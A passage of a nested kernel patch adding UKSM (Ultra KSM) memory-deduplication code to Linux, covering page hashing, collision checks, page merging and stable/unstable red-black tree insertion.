++	}
++
++	flush_cache_page(vma, addr, pte_pfn(*ptep));
++	ptep_clear_flush(vma, addr, ptep);
++	entry = mk_pte(kpage, vma->vm_page_prot);
++
++	/* special treatment is needed for zero_page */
++	if ((page_to_pfn(kpage) == uksm_zero_pfn) ||
++				(page_to_pfn(kpage) == zero_pfn))
++		entry = pte_mkspecial(entry);
++	else {
++		get_page(kpage);
++		page_add_anon_rmap(kpage, vma, addr);
++	}
++
++	set_pte_at_notify(mm, addr, ptep, entry);
++
++	page_remove_rmap(page);
++	if (!page_mapped(page))
++		try_to_free_swap(page);
++	put_page(page);
++
++	pte_unmap_unlock(ptep, ptl);
++	err = 0;
++out_mn:
++	mmu_notifier_invalidate_range_end(mm, mmun_start, mmun_end);
++out:
++	return err;
++}
++
++
++/**
++ *  Fully hash a page with HASH_STRENGTH_MAX return a non-zero hash value. The
++ *  zero hash value at HASH_STRENGTH_MAX is used to indicated that its
++ *  hash_max member has not been calculated.
++ *
++ * @page The page needs to be hashed
++ * @hash_old The hash value calculated with current hash strength
++ *
++ * return the new hash value calculated at HASH_STRENGTH_MAX
++ */
++static inline u32 page_hash_max(struct page *page, u32 hash_old)
++{
++	u32 hash_max = 0;
++	void *addr;
++
++	addr = kmap_atomic(page);
++	hash_max = delta_hash(addr, hash_strength,
++			      HASH_STRENGTH_MAX, hash_old);
++
++	kunmap_atomic(addr);
++
++	if (!hash_max)
++		hash_max = 1;
++
++	inc_rshash_neg(HASH_STRENGTH_MAX - hash_strength);
++	return hash_max;
++}
++
++/*
++ * We compare the hash again, to ensure that it is really a hash collision
++ * instead of being caused by page write.
++ */
++static inline int check_collision(struct rmap_item *rmap_item,
++				  u32 hash)
++{
++	int err;
++	struct page *page = rmap_item->page;
++
++	/* if this rmap_item has already been hash_maxed, then the collision
++	 * must appears in the second-level rbtree search. In this case we check
++	 * if its hash_max value has been changed. Otherwise, the collision
++	 * happens in the first-level rbtree search, so we check against it's
++	 * current hash value.
++	 */
++	if (rmap_item->hash_max) {
++		inc_rshash_neg(memcmp_cost);
++		inc_rshash_neg(HASH_STRENGTH_MAX - hash_strength);
++
++		if (rmap_item->hash_max == page_hash_max(page, hash))
++			err = MERGE_ERR_COLLI;
++		else
++			err = MERGE_ERR_CHANGED;
++	} else {
++		inc_rshash_neg(memcmp_cost + hash_strength);
++
++		if (page_hash(page, hash_strength, 0) == hash)
++			err = MERGE_ERR_COLLI;
++		else
++			err = MERGE_ERR_CHANGED;
++	}
++
++	return err;
++}
++
++static struct page *page_trans_compound_anon(struct page *page)
++{
++	if (PageTransCompound(page)) {
++		struct page *head = compound_trans_head(page);
++		/*
++		 * head may actually be splitted and freed from under
++		 * us but it's ok here.
++		 */
++		if (PageAnon(head))
++			return head;
++	}
++	return NULL;
++}
++
++static int page_trans_compound_anon_split(struct page *page)
++{
++	int ret = 0;
++	struct page *transhuge_head = page_trans_compound_anon(page);
++	if (transhuge_head) {
++		/* Get the reference on the head to split it. */
++		if (get_page_unless_zero(transhuge_head)) {
++			/*
++			 * Recheck we got the reference while the head
++			 * was still anonymous.
++			 */
++			if (PageAnon(transhuge_head))
++				ret = split_huge_page(transhuge_head);
++			else
++				/*
++				 * Retry later if split_huge_page run
++				 * from under us.
++				 */
++				ret = 1;
++			put_page(transhuge_head);
++		} else
++			/* Retry later if split_huge_page run from under us. */
++			ret = 1;
++	}
++	return ret;
++}
++
++/**
++ * Try to merge a rmap_item.page with a kpage in stable node. kpage must
++ * already be a ksm page.
++ *
++ * @return 0 if the pages were merged, -EFAULT otherwise.
++ */
++static int try_to_merge_with_uksm_page(struct rmap_item *rmap_item,
++				      struct page *kpage, u32 hash)
++{
++	struct vm_area_struct *vma = rmap_item->slot->vma;
++	struct mm_struct *mm = vma->vm_mm;
++	pte_t orig_pte = __pte(0);
++	int err = MERGE_ERR_PGERR;
++	struct page *page;
++
++	if (uksm_test_exit(mm))
++		goto out;
++
++	page = rmap_item->page;
++
++	if (page == kpage) { /* ksm page forked */
++		err = 0;
++		goto out;
++	}
++
++	if (PageTransCompound(page) && page_trans_compound_anon_split(page))
++		goto out;
++	BUG_ON(PageTransCompound(page));
++
++	if (!PageAnon(page) || !PageKsm(kpage))
++		goto out;
++
++	/*
++	 * We need the page lock to read a stable PageSwapCache in
++	 * write_protect_page().  We use trylock_page() instead of
++	 * lock_page() because we don't want to wait here - we
++	 * prefer to continue scanning and merging different pages,
++	 * then come back to this page when it is unlocked.
++	 */
++	if (!trylock_page(page))
++		goto out;
++	/*
++	 * If this anonymous page is mapped only here, its pte may need
++	 * to be write-protected.  If it's mapped elsewhere, all of its
++	 * ptes are necessarily already write-protected.  But in either
++	 * case, we need to lock and check page_count is not raised.
++	 */
++	if (write_protect_page(vma, page, &orig_pte, NULL) == 0) {
++		if (pages_identical(page, kpage))
++			err = replace_page(vma, page, kpage, orig_pte);
++		else
++			err = check_collision(rmap_item, hash);
++	}
++
++	if ((vma->vm_flags & VM_LOCKED) && kpage && !err) {
++		munlock_vma_page(page);
++		if (!PageMlocked(kpage)) {
++			unlock_page(page);
++			lock_page(kpage);
++			mlock_vma_page(kpage);
++			page = kpage;		/* for final unlock */
++		}
++	}
++
++	unlock_page(page);
++out:
++	return err;
++}
++
++
++
++/**
++ * If two pages fail to merge in try_to_merge_two_pages, then we have a chance
++ * to restore a page mapping that has been changed in try_to_merge_two_pages.
++ *
++ * @return 0 on success.
++ */
++static int restore_uksm_page_pte(struct vm_area_struct *vma, unsigned long addr,
++			     pte_t orig_pte, pte_t wprt_pte)
++{
++	struct mm_struct *mm = vma->vm_mm;
++	pgd_t *pgd;
++	pud_t *pud;
++	pmd_t *pmd;
++	pte_t *ptep;
++	spinlock_t *ptl;
++
++	int err = -EFAULT;
++
++	pgd = pgd_offset(mm, addr);
++	if (!pgd_present(*pgd))
++		goto out;
++
++	pud = pud_offset(pgd, addr);
++	if (!pud_present(*pud))
++		goto out;
++
++	pmd = pmd_offset(pud, addr);
++	if (!pmd_present(*pmd))
++		goto out;
++
++	ptep = pte_offset_map_lock(mm, pmd, addr, &ptl);
++	if (!pte_same(*ptep, wprt_pte)) {
++		/* already copied, let it be */
++		pte_unmap_unlock(ptep, ptl);
++		goto out;
++	}
++
++	/*
++	 * Good boy, still here. When we still get the ksm page, it does not
++	 * return to the free page pool, there is no way that a pte was changed
++	 * to other page and gets back to this page. And remind that ksm page
++	 * do not reuse in do_wp_page(). So it's safe to restore the original
++	 * pte.
++	 */
++	flush_cache_page(vma, addr, pte_pfn(*ptep));
++	ptep_clear_flush(vma, addr, ptep);
++	set_pte_at_notify(mm, addr, ptep, orig_pte);
++
++	pte_unmap_unlock(ptep, ptl);
++	err = 0;
++out:
++	return err;
++}
++
++/**
++ * try_to_merge_two_pages() - take two identical pages and prepare
++ * them to be merged into one page(rmap_item->page)
++ *
++ * @return 0 if we successfully merged two identical pages into
++ *         one ksm page. MERGE_ERR_COLLI if it's only a hash collision
++ *         search in rbtree. MERGE_ERR_CHANGED if rmap_item has been
++ *         changed since it's hashed. MERGE_ERR_PGERR otherwise.
++ *
++ */
++static int try_to_merge_two_pages(struct rmap_item *rmap_item,
++				  struct rmap_item *tree_rmap_item,
++				  u32 hash)
++{
++	pte_t orig_pte1 = __pte(0), orig_pte2 = __pte(0);
++	pte_t wprt_pte1 = __pte(0), wprt_pte2 = __pte(0);
++	struct vm_area_struct *vma1 = rmap_item->slot->vma;
++	struct vm_area_struct *vma2 = tree_rmap_item->slot->vma;
++	struct page *page = rmap_item->page;
++	struct page *tree_page = tree_rmap_item->page;
++	int err = MERGE_ERR_PGERR;
++	struct address_space *saved_mapping;
++
++
++	if (rmap_item->page == tree_rmap_item->page)
++		goto out;
++
++	if (PageTransCompound(page) && page_trans_compound_anon_split(page))
++		goto out;
++	BUG_ON(PageTransCompound(page));
++
++	if (PageTransCompound(tree_page) && page_trans_compound_anon_split(tree_page))
++		goto out;
++	BUG_ON(PageTransCompound(tree_page));
++
++	if (!PageAnon(page) || !PageAnon(tree_page))
++		goto out;
++
++	if (!trylock_page(page))
++		goto out;
++
++
++	if (write_protect_page(vma1, page, &wprt_pte1, &orig_pte1) != 0) {
++		unlock_page(page);
++		goto out;
++	}
++
++	/*
++	 * While we hold page lock, upgrade page from
++	 * PageAnon+anon_vma to PageKsm+NULL stable_node:
++	 * stable_tree_insert() will update stable_node.
++	 */
++	saved_mapping = page->mapping;
++	set_page_stable_node(page, NULL);
++	mark_page_accessed(page);
++	unlock_page(page);
++
++	if (!trylock_page(tree_page))
++		goto restore_out;
++
++	if (write_protect_page(vma2, tree_page, &wprt_pte2, &orig_pte2) != 0) {
++		unlock_page(tree_page);
++		goto restore_out;
++	}
++
++	if (pages_identical(page, tree_page)) {
++		err = replace_page(vma2, tree_page, page, wprt_pte2);
++		if (err) {
++			unlock_page(tree_page);
++			goto restore_out;
++		}
++
++		if ((vma2->vm_flags & VM_LOCKED)) {
++			munlock_vma_page(tree_page);
++			if (!PageMlocked(page)) {
++				unlock_page(tree_page);
++				lock_page(page);
++				mlock_vma_page(page);
++				tree_page = page; /* for final unlock */
++			}
++		}
++
++		unlock_page(tree_page);
++
++		goto out; /* success */
++
++	} else {
++		if (tree_rmap_item->hash_max &&
++		    tree_rmap_item->hash_max == rmap_item->hash_max) {
++			err = MERGE_ERR_COLLI_MAX;
++		} else if (page_hash(page, hash_strength, 0) ==
++		    page_hash(tree_page, hash_strength, 0)) {
++			inc_rshash_neg(memcmp_cost + hash_strength * 2);
++			err = MERGE_ERR_COLLI;
++		} else {
++			err = MERGE_ERR_CHANGED;
++		}
++
++		unlock_page(tree_page);
++	}
++
++restore_out:
++	lock_page(page);
++	if (!restore_uksm_page_pte(vma1, get_rmap_addr(rmap_item),
++				  orig_pte1, wprt_pte1))
++		page->mapping = saved_mapping;
++
++	unlock_page(page);
++out:
++	return err;
++}
++
++static inline int hash_cmp(u32 new_val, u32 node_val)
++{
++	if (new_val > node_val)
++		return 1;
++	else if (new_val < node_val)
++		return -1;
++	else
++		return 0;
++}
++
++static inline u32 rmap_item_hash_max(struct rmap_item *item, u32 hash)
++{
++	u32 hash_max = item->hash_max;
++
++	if (!hash_max) {
++		hash_max = page_hash_max(item->page, hash);
++
++		item->hash_max = hash_max;
++	}
++
++	return hash_max;
++}
++
++
++
++/**
++ * stable_tree_search() - search the stable tree for a page
++ *
++ * @item: 	the rmap_item we are comparing with
++ * @hash: 	the hash value of this item->page already calculated
++ *
++ * @return 	the page we have found, NULL otherwise. The page returned has
++ *         	been gotten.
++ */
++static struct page *stable_tree_search(struct rmap_item *item, u32 hash)
++{
++	struct rb_node *node = root_stable_treep->rb_node;
++	struct tree_node *tree_node;
++	unsigned long hash_max;
++	struct page *page = item->page;
++	struct stable_node *stable_node;
++
++	stable_node = page_stable_node(page);
++	if (stable_node) {
++		/* ksm page forked, that is
++		 * if (PageKsm(page) && !in_stable_tree(rmap_item))
++		 * it's actually gotten once outside.
++		 */
++		get_page(page);
++		return page;
++	}
++
++	while (node) {
++		int cmp;
++
++		tree_node = rb_entry(node, struct tree_node, node);
++
++		cmp = hash_cmp(hash, tree_node->hash);
++
++		if (cmp < 0)
++			node = node->rb_left;
++		else if (cmp > 0)
++			node = node->rb_right;
++		else
++			break;
++	}
++
++	if (!node)
++		return NULL;
++
++	if (tree_node->count == 1) {
++		stable_node = rb_entry(tree_node->sub_root.rb_node,
++				       struct stable_node, node);
++		BUG_ON(!stable_node);
++
++		goto get_page_out;
++	}
++
++	/*
++	 * ok, we have to search the second
++	 * level subtree, hash the page to a
++	 * full strength.
++	 */
++	node = tree_node->sub_root.rb_node;
++	BUG_ON(!node);
++	hash_max = rmap_item_hash_max(item, hash);
++
++	while (node) {
++		int cmp;
++
++		stable_node = rb_entry(node, struct stable_node, node);
++
++		cmp = hash_cmp(hash_max, stable_node->hash_max);
++
++		if (cmp < 0)
++			node = node->rb_left;
++		else if (cmp > 0)
++			node = node->rb_right;
++		else
++			goto get_page_out;
++	}
++
++	return NULL;
++
++get_page_out:
++	page = get_uksm_page(stable_node, 1, 1);
++	return page;
++}
++
++static int try_merge_rmap_item(struct rmap_item *item,
++			       struct page *kpage,
++			       struct page *tree_page)
++{
++	spinlock_t *ptl;
++	pte_t *ptep;
++	unsigned long addr;
++	struct vm_area_struct *vma = item->slot->vma;
++
++	addr = get_rmap_addr(item);
++	ptep = page_check_address(kpage, vma->vm_mm, addr, &ptl, 0);
++	if (!ptep)
++		return 0;
++
++	if (pte_write(*ptep)) {
++		/* has changed, abort! */
++		pte_unmap_unlock(ptep, ptl);
++		return 0;
++	}
++
++	get_page(tree_page);
++	page_add_anon_rmap(tree_page, vma, addr);
++
++	flush_cache_page(vma, addr, pte_pfn(*ptep));
++	ptep_clear_flush(vma, addr, ptep);
++	set_pte_at_notify(vma->vm_mm, addr, ptep,
++			  mk_pte(tree_page, vma->vm_page_prot));
++
++	page_remove_rmap(kpage);
++	put_page(kpage);
++
++	pte_unmap_unlock(ptep, ptl);
++
++	return 1;
++}
++
++/**
++ * try_to_merge_with_stable_page() - when two rmap_items need to be inserted
++ * into stable tree, the page was found to be identical to a stable ksm page,
++ * this is the last chance we can merge them into one.
++ *
++ * @item1:	the rmap_item holding the page which we wanted to insert
++ *       	into stable tree.
++ * @item2:	the other rmap_item we found when unstable tree search
++ * @oldpage:	the page currently mapped by the two rmap_items
++ * @tree_page: 	the page we found identical in stable tree node
++ * @success1:	return if item1 is successfully merged
++ * @success2:	return if item2 is successfully merged
++ */
++static void try_merge_with_stable(struct rmap_item *item1,
++				  struct rmap_item *item2,
++				  struct page **kpage,
++				  struct page *tree_page,
++				  int *success1, int *success2)
++{
++	struct vm_area_struct *vma1 = item1->slot->vma;
++	struct vm_area_struct *vma2 = item2->slot->vma;
++	*success1 = 0;
++	*success2 = 0;
++
++	if (unlikely(*kpage == tree_page)) {
++		/* I don't think this can really happen */
++		printk(KERN_WARNING "UKSM: unexpected condition detected in "
++			"try_merge_with_stable() -- *kpage == tree_page !\n");
++		*success1 = 1;
++		*success2 = 1;
++		return;
++	}
++
++	if (!PageAnon(*kpage) || !PageKsm(*kpage))
++		goto failed;
++
++	if (!trylock_page(tree_page))
++		goto failed;
++
++	/* If the oldpage is still ksm and still pointed
++	 * to in the right place, and still write protected,
++	 * we are confident it's not changed, no need to
++	 * memcmp anymore.
++	 * be ware, we cannot take nested pte locks,
++	 * deadlock risk.
++	 */
++	if (!try_merge_rmap_item(item1, *kpage, tree_page))
++		goto unlock_failed;
++
++	/* ok, then vma2, remind that pte1 already set */
++	if (!try_merge_rmap_item(item2, *kpage, tree_page))
++		goto success_1;
++
++	*success2 = 1;
++success_1:
++	*success1 = 1;
++
++
++	if ((*success1 && vma1->vm_flags & VM_LOCKED) ||
++	    (*success2 && vma2->vm_flags & VM_LOCKED)) {
++		munlock_vma_page(*kpage);
++		if (!PageMlocked(tree_page))
++			mlock_vma_page(tree_page);
++	}
++
++	/*
++	 * We do not need oldpage any more in the caller, so can break the lock
++	 * now.
++	 */
++	unlock_page(*kpage);
++	*kpage = tree_page; /* Get unlocked outside. */
++	return;
++
++unlock_failed:
++	unlock_page(tree_page);
++failed:
++	return;
++}
++
++static inline void stable_node_hash_max(struct stable_node *node,
++					 struct page *page, u32 hash)
++{
++	u32 hash_max = node->hash_max;
++
++	if (!hash_max) {
++		hash_max = page_hash_max(page, hash);
++		node->hash_max = hash_max;
++	}
++}
++
++static inline
++struct stable_node *new_stable_node(struct tree_node *tree_node,
++				    struct page *kpage, u32 hash_max)
++{
++	struct stable_node *new_stable_node;
++
++	new_stable_node = alloc_stable_node();
++	if (!new_stable_node)
++		return NULL;
++
++	new_stable_node->kpfn = page_to_pfn(kpage);
++	new_stable_node->hash_max = hash_max;
++	new_stable_node->tree_node = tree_node;
++	set_page_stable_node(kpage, new_stable_node);
++
++	return new_stable_node;
++}
++
++static inline
++struct stable_node *first_level_insert(struct tree_node *tree_node,
++				       struct rmap_item *rmap_item,
++				       struct rmap_item *tree_rmap_item,
++				       struct page **kpage, u32 hash,
++				       int *success1, int *success2)
++{
++	int cmp;
++	struct page *tree_page;
++	u32 hash_max = 0;
++	struct stable_node *stable_node, *new_snode;
++	struct rb_node *parent = NULL, **new;
++
++	/* this tree node contains no sub-tree yet */
++	stable_node = rb_entry(tree_node->sub_root.rb_node,
++			       struct stable_node, node);
++
++	tree_page = get_uksm_page(stable_node, 1, 0);
++	if (tree_page) {
++		cmp = memcmp_pages(*kpage, tree_page, 1);
++		if (!cmp) {
++			try_merge_with_stable(rmap_item, tree_rmap_item, kpage,
++					      tree_page, success1, success2);
++			put_page(tree_page);
++			if (!*success1 && !*success2)
++				goto failed;
++
++			return stable_node;
++
++		} else {
++			/*
++			 * collision in first level try to create a subtree.
++			 * A new node need to be created.
++			 */
++			put_page(tree_page);
++
++			stable_node_hash_max(stable_node, tree_page,
++					     tree_node->hash);
++			hash_max = rmap_item_hash_max(rmap_item, hash);
++			cmp = hash_cmp(hash_max, stable_node->hash_max);
++
++			parent = &stable_node->node;
++			if (cmp < 0) {
++				new = &parent->rb_left;
++			} else if (cmp > 0) {
++				new = &parent->rb_right;
++			} else {
++				goto failed;
++			}
++		}
++
++	} else {
++		/* the only stable_node deleted, we reuse its tree_node.
++		 */
++		parent = NULL;
++		new = &tree_node->sub_root.rb_node;
++	}
++
++	new_snode = new_stable_node(tree_node, *kpage, hash_max);
++	if (!new_snode)
++		goto failed;
++
++	rb_link_node(&new_snode->node, parent, new);
++	rb_insert_color(&new_snode->node, &tree_node->sub_root);
++	tree_node->count++;
++	*success1 = *success2 = 1;
++
++	return new_snode;
++
++failed:
++	return NULL;
++}
++
++static inline
++struct stable_node *stable_subtree_insert(struct tree_node *tree_node,
++					  struct rmap_item *rmap_item,
++					  struct rmap_item *tree_rmap_item,
++					  struct page **kpage, u32 hash,
++					  int *success1, int *success2)
++{
++	struct page *tree_page;
++	u32 hash_max;
++	struct stable_node *stable_node, *new_snode;
++	struct rb_node *parent, **new;
++
++research:
++	parent = NULL;
++	new = &tree_node->sub_root.rb_node;
++	BUG_ON(!*new);
++	hash_max = rmap_item_hash_max(rmap_item, hash);
++	while (*new) {
++		int cmp;
++
++		stable_node = rb_entry(*new, struct stable_node, node);
++
++		cmp = hash_cmp(hash_max, stable_node->hash_max);
++
++		if (cmp < 0) {
++			parent = *new;
++			new = &parent->rb_left;
++		} else if (cmp > 0) {
++			parent = *new;
++			new = &parent->rb_right;
++		} else {
++			tree_page = get_uksm_page(stable_node, 1, 0);
++			if (tree_page) {
++				cmp = memcmp_pages(*kpage, tree_page, 1);
++				if (!cmp) {
++					try_merge_with_stable(rmap_item,
++						tree_rmap_item, kpage,
++						tree_page, success1, success2);
++
++					put_page(tree_page);
++					if (!*success1 && !*success2)
++						goto failed;
++					/*
++					 * successfully merged with a stable
++					 * node
++					 */
++					return stable_node;
++				} else {
++					put_page(tree_page);
++					goto failed;
++				}
++			} else {
++				/*
++				 * stable node may be deleted,
++				 * and subtree maybe
++				 * restructed, cannot
++				 * continue, research it.
++				 */
++				if (tree_node->count) {
++					goto research;
++				} else {
++					/* reuse the tree node*/
++					parent = NULL;
++					new = &tree_node->sub_root.rb_node;
++				}
++			}
++		}
++	}
++
++	new_snode = new_stable_node(tree_node, *kpage, hash_max);
++	if (!new_snode)
++		goto failed;
++
++	rb_link_node(&new_snode->node, parent, new);
++	rb_insert_color(&new_snode->node, &tree_node->sub_root);
++	tree_node->count++;
++	*success1 = *success2 = 1;
++
++	return new_snode;
++
++failed:
++	return NULL;
++}
++
++
++/**
++ * stable_tree_insert() - try to insert a merged page in unstable tree to
++ * the stable tree
++ *
++ * @kpage:		the page need to be inserted
++ * @hash:		the current hash of this page
++ * @rmap_item:		the rmap_item being scanned
++ * @tree_rmap_item:	the rmap_item found on unstable tree
++ * @success1:		return if rmap_item is merged
++ * @success2:		return if tree_rmap_item is merged
++ *
++ * @return 		the stable_node on stable tree if at least one
++ *      		rmap_item is inserted into stable tree, NULL
++ *      		otherwise.
++ */
++static struct stable_node *
++stable_tree_insert(struct page **kpage, u32 hash,
++		   struct rmap_item *rmap_item,
++		   struct rmap_item *tree_rmap_item,
++		   int *success1, int *success2)
++{
++	struct rb_node **new = &root_stable_treep->rb_node;
++	struct rb_node *parent = NULL;
++	struct stable_node *stable_node;
++	struct tree_node *tree_node;
++	u32 hash_max = 0;
++
++	*success1 = *success2 = 0;
++
++	while (*new) {
++		int cmp;
++
++		tree_node = rb_entry(*new, struct tree_node, node);
++
++		cmp = hash_cmp(hash, tree_node->hash);
++
++		if (cmp < 0) {
++			parent = *new;
++			new = &parent->rb_left;
++		} else if (cmp > 0) {
++			parent = *new;
++			new = &parent->rb_right;
++		} else
++			break;
++	}
++
++	if (*new) {
++		if (tree_node->count == 1) {
++			stable_node = first_level_insert(tree_node, rmap_item,
++						tree_rmap_item, kpage,
++						hash, success1, success2);
++		} else {
++			stable_node = stable_subtree_insert(tree_node,
++					rmap_item, tree_rmap_item, kpage,
++					hash, success1, success2);
++		}
++	} else {
++
++		/* no tree node found */
++		tree_node = alloc_tree_node(stable_tree_node_listp);
++		if (!tree_node) {
++			stable_node = NULL;
++			goto out;
++		}
++
++		stable_node = new_stable_node(tree_node, *kpage, hash_max);
++		if (!stable_node) {
++			free_tree_node(tree_node);
++			goto out;
++		}
++
++		tree_node->hash = hash;
++		rb_link_node(&tree_node->node, parent, new);
++		rb_insert_color(&tree_node->node, root_stable_treep);
++		parent = NULL;
++		new = &tree_node->sub_root.rb_node;
++
++		rb_link_node(&stable_node->node, parent, new);
++		rb_insert_color(&stable_node->node, &tree_node->sub_root);
++		tree_node->count++;
++		*success1 = *success2 = 1;
++	}
++
++out:
++	return stable_node;
++}
++
++
++/**
++ * get_tree_rmap_item_page() - try to get the page and lock the mmap_sem
++ *
++ * @return 	0 on success, -EBUSY if unable to lock the mmap_sem,
++ *         	-EINVAL if the page mapping has been changed.
++ */
++static inline int get_tree_rmap_item_page(struct rmap_item *tree_rmap_item)
++{
++	int err;
++
++	err = get_mergeable_page_lock_mmap(tree_rmap_item);
++
++	if (err == -EINVAL) {
++		/* its page map has been changed, remove it */
++		remove_rmap_item_from_tree(tree_rmap_item);
++	}
++
++	/* The page is gotten and mmap_sem is locked now. */
++	return err;
++}
++
++
++/**
++ * unstable_tree_search_insert() - search an unstable tree rmap_item with the
++ * same hash value. Get its page and trylock the mmap_sem
++ */
++static inline
++struct rmap_item *unstable_tree_search_insert(struct rmap_item *rmap_item,
++					      u32 hash)
++
++{
++	struct rb_node **new = &root_unstable_tree.rb_node;
++	struct rb_node *parent = NULL;
++	struct tree_node *tree_node;
++	u32 hash_max;
++	struct rmap_item *tree_rmap_item;
++
++	while (*new) {
++		int cmp;
++
++		tree_node = rb_entry(*new, struct tree_node, node);
++
++		cmp = hash_cmp(hash, tree_node->hash);
++
++		if (cmp < 0) {
++			parent = *new;
++			new = &parent->rb_left;
++		} else if (cmp > 0) {
++			parent = *new;
++			new = &parent->rb_right;
++		} else
++			break;
++	}
++
++	if (*new) {
++		/* got the tree_node */
++		if (tree_node->count == 1) {
++			tree_rmap_item = rb_entry(tree_node->sub_root.rb_node,
++						  struct rmap_item, node);
++			BUG_ON(!tree_rmap_item);
++
++			goto get_page_out;
++		}
++
++		/* well, search the collision subtree */
++		new = &tree_node->sub_root.rb_node;
++		BUG_ON(!*new);
++		hash_max = rmap_item_hash_max(rmap_item, hash);
++
++		while (*new) {
++			int cmp;
++
++			tree_rmap_item = rb_entry(*new, struct rmap_item,
++						  node);
++
++			cmp = hash_cmp(hash_max, tree_rmap_item->hash_max);
++			parent = *new;
++			if (cmp < 0)
++				new = &parent->rb_left;
++			else if (cmp > 0)
++				new = &parent->rb_right;
++			else
++				goto get_page_out;
++		}
++	} else {
++		/* alloc a new tree_node */
++		tree_node = alloc_tree_node(&unstable_tree_node_list);
++		if (!tree_node)
++			return NULL;
++
++		tree_node->hash = hash;
++		rb_link_node(&tree_node->node, parent, new);
++		rb_insert_color(&tree_node->node, &root_unstable_tree);
++		parent = NULL;
++		new = &tree_node->sub_root.rb_node;
++	}
++
++	/* did not found even in sub-tree */
++	rmap_item->tree_node = tree_node;
++	rmap_item->address |= UNSTABLE_FLAG;
++	rmap_item->hash_round = uksm_hash_round;
++	rb_link_node(&rmap_item->node, parent, new);
++	rb_insert_color(&rmap_item->node, &tree_node->sub_root);
++
++	uksm_pages_unshared++;
++	return NULL;
++
++get_page_out:
++	if (tree_rmap_item->page == rmap_item->page)
++		return NULL;
++
++	if (get_tree_rmap_item_page(tree_rmap_item))
++		return NULL;
++
++	return tree_rmap_item;
++}
++
++static void hold_anon_vma(struct rmap_item *rmap_item,
++			  struct anon_vma *anon_vma)
++{
++	rmap_item->anon_vma = anon_vma;
++	get_anon_vma(anon_vma);
++}
++
++
++/**
++ * stable_tree_append() - append a rmap_item to a stable node. Deduplication
++ * ratio statistics is done in this function.
++ *
++ */
++static void stable_tree_append(struct rmap_item *rmap_item,
++			       struct stable_node *stable_node, int logdedup)
++{
++	struct node_vma *node_vma = NULL, *new_node_vma, *node_vma_cont = NULL;
++	unsigned long key = (unsigned long)rmap_item->slot;
++	unsigned long factor = rmap_item->slot->rung->step;
++
++	BUG_ON(!stable_node);
++	rmap_item->address |= STABLE_FLAG;
++
++	if (hlist_empty(&stable_node->hlist)) {
++		uksm_pages_shared++;
++		goto node_vma_new;
++	} else {
++		uksm_pages_sharing++;
++	}
++
++	hlist_for_each_entry(node_vma, &stable_node->hlist, hlist) {
++		if (node_vma->key >= key)
++			break;
++
++		if (logdedup) {
++			node_vma->slot->pages_bemerged += factor;
++			if (list_empty(&node_vma->slot->dedup_list))
++				list_add(&node_vma->slot->dedup_list,
++					 &vma_slot_dedup);
++		}
++	}
++
++	if (node_vma) {
++		if (node_vma->key == key) {
++			node_vma_cont = hlist_entry_safe(node_vma->hlist.next, struct node_vma, hlist);
++			goto node_vma_ok;
++		} else if (node_vma->key > key) {
++			node_vma_cont = node_vma;
++		}
++	}
++
++node_vma_new:
++	/* no same vma already in node, alloc a new node_vma */
++	new_node_vma = alloc_node_vma();
++	BUG_ON(!new_node_vma);
++	new_node_vma->head = stable_node;
++	new_node_vma->slot = rmap_item->slot;
++
++	if (!node_vma) {
++		hlist_add_head(&new_node_vma->hlist, &stable_node->hlist);
++	} else if (node_vma->key != key) {
++		if (node_vma->key < key)
++			hlist_add_after(&node_vma->hlist, &new_node_vma->hlist);
++		else {
++			hlist_add_before(&new_node_vma->hlist,
++					 &node_vma->hlist);
++		}
++
++	}
++	node_vma = new_node_vma;
++
++node_vma_ok: /* ok, ready to add to the list */
++	rmap_item->head = node_vma;
++	hlist_add_head(&rmap_item->hlist, &node_vma->rmap_hlist);
++	hold_anon_vma(rmap_item, rmap_item->slot->vma->anon_vma);
++	if (logdedup) {
++		rmap_item->slot->pages_merged++;
++		if (node_vma_cont) {
++			node_vma = node_vma_cont;
++			hlist_for_each_entry_continue(node_vma, hlist) {
++				node_vma->slot->pages_bemerged += factor;
++				if (list_empty(&node_vma->slot->dedup_list))
++					list_add(&node_vma->slot->dedup_list,
++						 &vma_slot_dedup);
++			}
++		}
++	}
++}
++
++/*
++ * We use break_ksm to break COW on a ksm page: it's a stripped down
++ *
++ *	if (get_user_pages(current, mm, addr, 1, 1, 1, &page, NULL) == 1)
++ *		put_page(page);
++ *
++ * but taking great care only to touch a ksm page, in a VM_MERGEABLE vma,
++ * in case the application has unmapped and remapped mm,addr meanwhile.
++ * Could a ksm page appear anywhere else?  Actually yes, in a VM_PFNMAP
++ * mmap of /dev/mem or /dev/kmem, where we would not want to touch it.
++ */
++static int break_ksm(struct vm_area_struct *vma, unsigned long addr)
++{
++	struct page *page;
++	int ret = 0;
++
++	do {
++		cond_resched();
++		page = follow_page(vma, addr, FOLL_GET);
++		if (IS_ERR_OR_NULL(page))
++			break;
++		if (PageKsm(page)) {
++			ret = handle_mm_fault(vma->vm_mm, vma, addr,
++					      FAULT_FLAG_WRITE);
++		} else
++			ret = VM_FAULT_WRITE;
++		put_page(page);
++	} while (!(ret & (VM_FAULT_WRITE | VM_FAULT_SIGBUS | VM_FAULT_OOM)));
++	/*
++	 * We must loop because handle_mm_fault() may back out if there's
++	 * any difficulty e.g. if pte accessed bit gets updated concurrently.
++	 *
++	 * VM_FAULT_WRITE is what we have been hoping for: it indicates that
++	 * COW has been broken, even if the vma does not permit VM_WRITE;
++	 * but note that a concurrent fault might break PageKsm for us.
++	 *
++	 * VM_FAULT_SIGBUS could occur if we race with truncation of the
++	 * backing file, which also invalidates anonymous pages: that's
++	 * okay, that truncation will have unmapped the PageKsm for us.
++	 *
++	 * VM_FAULT_OOM: at the time of writing (late July 2009), setting
++	 * aside mem_cgroup limits, VM_FAULT_OOM would only be set if the
++	 * current task has TIF_MEMDIE set, and will be OOM killed on return
++	 * to user; and ksmd, having no mm, would never be chosen for that.
++	 *
++	 * But if the mm is in a limited mem_cgroup, then the fault may fail
++	 * with VM_FAULT_OOM even if the current task is not TIF_MEMDIE; and
++	 * even ksmd can fail in this way - though it's usually breaking ksm
++	 * just to undo a merge it made a moment before, so unlikely to oom.
++	 *
++	 * That's a pity: we might therefore have more kernel pages allocated
++	 * than we're counting as nodes in the stable tree; but uksm_do_scan
++	 * will retry to break_cow on each pass, so should recover the page
++	 * in due course.  The important thing is to not let VM_MERGEABLE
++	 * be cleared while any such pages might remain in the area.
++	 */
++	return (ret & VM_FAULT_OOM) ? -ENOMEM : 0;
++}
++
++static void break_cow(struct rmap_item *rmap_item)
++{
++	struct vm_area_struct *vma = rmap_item->slot->vma;
++	struct mm_struct *mm = vma->vm_mm;
++	unsigned long addr = get_rmap_addr(rmap_item);
++
